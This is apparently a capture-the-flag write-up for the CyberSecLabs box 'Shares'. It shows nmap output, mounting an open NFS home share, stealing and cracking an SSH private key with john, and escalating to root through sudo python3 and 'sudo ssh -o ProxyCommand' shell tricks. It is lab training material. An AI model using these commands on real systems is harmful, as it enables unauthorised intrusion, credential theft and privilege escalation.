This is a write-up for “Shares” from CyberSecLabs.
Enumeration
Starting off with a quick threader6000 scan, the machine reveals a few services. Namely, there is FTP, SSH, NFS, and a webserver running on the box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Nmap 7.91 scan initiated Sun Nov 1 22:10:10 2020 as: nmap -p21,111,80,2049,27853,38779,48237,57581,60503 -sV -sC -Pn -T4 -oA 172.31.1.7 172.31.1.7
Nmap scan report for 172.31.1.7
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Pet Shop
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 45059/udp6 mountd
| 100005 1,2,3 46621/tcp6 mountd
| 100005 1,2,3 53514/udp mountd
| 100005 1,2,3 57581/tcp mountd
| 100021 1,3,4 36170/udp nlockmgr
| 100021 1,3,4 38779/tcp nlockmgr
| 100021 1,3,4 46539/tcp6 nlockmgr
| 100021 1,3,4 50617/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
27853/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 97:93:e4:7f:41:79:9c:bd:3d:d8:90:c3:93:d5:53:9f (RSA)
| 256 11:66:e9:84:32:85:7b:c7:88:f3:19:97:74:1e:6c:29 (ECDSA)
|_ 256 cc:66:1e:1a:91:31:56:56:7c:e5:d3:46:5d:68:2a:b7 (ED25519)
38779/tcp open nlockmgr 1-4 (RPC #100021)
48237/tcp open mountd 1-3 (RPC #100005)
57581/tcp open mountd 1-3 (RPC #100005)
60503/tcp open mountd 1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 1 22:10:22 2020 -- 1 IP address (1 host up) scanned in 12.19 seconds
Looking at the FTP and webserver yields not many results, however there’s a NFS service running and when listing the shares, a single share seems to be open. I’m using the showmount command’s -e option to list the NFS server’s export list.
1
2
3
4
# List NFS shares of a remote host
$ showmount -e 172.31.1.7
> Export list for 172.31.1.7:
> /home/amir *.*.*.*
The output from the above command shows that there’s a share, amir that is open for anyone (...) to mount. Mounting an NFS fileshare is similar as to how other medium are mounted.
1
2
3
# First create a folder to mount the remote NFS into
$ mkdir local_amir
sudo mount -t nfs 172.31.1.7:/home/amir ./local_amir
Now the remote NFS fileshare is mounted locally under the local_amir directory and is browsable, just like any other folder.
Mounting the fileshare gives us access to the home directory of user amir . A user’s home directory can often hold useful files, like saved passwords, documents or SSH keys. In this case it’s possible to retrieve amir’s SSH keys and use them to log on to the box using them.
Foothold
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Copying the SSH keys from the mounted NFS share to a local folder
$ cp ./local_amir/.ssh/id_rsa ../../
# This is amir's SSH private key. It's encrypted and asks for a password when used
# Cracking the password of the SSH private key
$ ssh2john.py id_rsa > idHash
$ john idHash -w=/usr/share/wordlists/rockyou.txt
> hello6
John quickly cracks the password: hello6
# Login using the SSH key
# -i: Speciy identity file (private SSH key)
# -p: Specify port (nmap revealed that SSH is running on 27853 insted of 22)
ssh -i id_rsa [email protected] -p27853
(Enter the previously cracked SSH key password)
Pivot to second user
There’s a file called .sudo_as_user_successful in amir’s homedir. This is usually a good indication of the user having some sort of sudo privileges.
1
2
3
4
5
6
7
8
9
$ sudo -l
amir@shares:~$ sudo -l
Matching Defaults entries for amir on shares:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User amir may run the following commands on shares:
(ALL : ALL) ALL
(amy) NOPASSWD: /usr/bin/pkexec
(amy) NOPASSWD: /usr/bin/python3
The above shows that the user amir has full sudo capabilities (ALL : ALL) ALL but to run sudo, a password is required. We don’t have the user password. Fortunately, in this case, sudo can be used to run /usr/bin/python3 run without providing a password. More specifically, python3 can be run as the user amy . This way it’s possible to switch to the user amy and spawn a shell with ptyhon.
1
sudo -u amy /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
Now we have access to amy’s homedirectory as well.
Privesc to root
Checking sudo permissions, now as amy shows that we can run ssh as sudo without a password. This is very strange, but useful, nevertheless. With one simple command it’s possible to elevate our privileges to root. The command uses the ProxyCommands option of SSH to spawn a new shell, as the root user.
1
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Conclusion
This was a pretty straightforward, but enjoyable box. It shows well, that some services might provide easier access into a system than others (webserver/ftp vs NFS fileshare). It’s also great practice on pivoting from user to user and then to root while abusing sudo privileges.
Always Noot when you Root!
- Tux